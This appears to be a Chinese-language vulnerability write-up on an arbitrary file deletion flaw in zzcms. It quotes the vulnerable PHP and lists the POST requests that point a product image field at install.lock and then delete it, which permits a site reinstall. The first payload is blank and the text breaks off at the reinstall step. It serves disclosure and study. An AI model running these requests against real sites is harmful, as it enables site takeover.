zzcms最新产品版任意文件删除(可导致重装)
先来看可以导致任意文件删除的地方,在E:/www/zzcms/user/delimg.php中第12行:
$id=$_REQUEST['id']; $sql="select img,img2,img3,flv,editor from zzcms_main where id ='$id'"; $rs=mysql_query($sql); $row=mysql_fetch_array($rs); if ($_REQUEST['action']==1){ if ($row['img']<>"/image/nopic.gif"){ $f="../".substr($row['img'],1); if (file_exists($f)){ unlink($f); }这里有一个任意文件删除的操作,也就是从zzcms_main中查询出来的img字段值做了一个删除操作。但是这个地方的$id虽然我们不能注入,但是是我们可控的,所以我们找一个入库的地方看看。
在/user/zssave.php中第107行:
if ($_POST["action"]=="add"){ $isok=mysql_query("Insert into zzcms_main(proname,bigclasszm,smallclasszm,shuxing,szm,prouse,gg,pricels,sm,img,img2,img3,flv,province,city,xiancheng,zc,yq,title,keywords,description,sendtime,timefororder,editor,userid,groupid,qq,comane,renzheng,skin) values('$cp_name','$bigclassid','$smallclassid','$shuxing','$szm','$gnzz','$gg','$lsj','$sm','$img1','$img2','$img3','$flv','$province','$city','$xiancheng','$zc','$yq','$title','$keyword','$discription','".date('Y-m-d H:i:s')."','$TimeNum','$username','$userid','$groupid','$qq','$comane','$renzheng','$skin')") ; $cpid=mysql_insert_id(); }elseif ($_POST["action"]=="modify"){ $oldimg1=trim($_POST["oldimg1"]); $oldimg2=trim($_POST["oldimg2"]); $oldimg3=trim($_POST["oldimg3"]); $oldflv=trim($_POST["oldflv"]); $isok=mysql_query("update zzcms_main set proname='$cp_name',bigclasszm='$bigclassid',smallclasszm='$smallclassid',shuxing='$shuxing',szm='$szm',prouse='$gnzz',gg='$gg',pricels='$lsj',sm='$sm',img='$img1',img2='$img2',img3='$img3',flv='$flv',province='$province',city='$city',xiancheng='$xiancheng',zc='$zc',yq='$yq',title='$title',keywords='$keyword',description='$discription',sendtime='".date('Y-m-d H:i:s')."',timefororder='$TimeNum',editor='$username',userid='$userid',groupid='$groupid',qq='$qq',comane='$comane',renzheng='$renzheng',skin='$skin',passed=0 where id='$cpid'");可以看到对应着action的不同,sql语句也不同,第一个是Insert,第二个update。我们看到在两个sql语句中都有img这个字段。并且相对应的的值$img1也是我们可控的:
$img1=$_POST["img1"];其次就是对于update语句,我们还能控制update哪一行,因为主键id的值也是我们可控的:
$cpid=$_POST["ypid"];所以结合上面所说,我们能够控制任意zzcms_main表中任意一行img字段的值,所以说我们能够删除任意文件。
漏洞利用:
首先为了防止zzcms_main表中没有任何数据,所以我们首先进行一个增加数据的操作:
payload:
然后我们开始更新第一行的img字段的值,payload:
http://localhost/user/zssave.php POST: action=modify&img1=/install/install.lock&ypid=1然后我们再进行删除操作:
http://localhost/user/delimg.php
POST: action=1&id=1
就能删除掉install.lock文件啦。然后开始重装: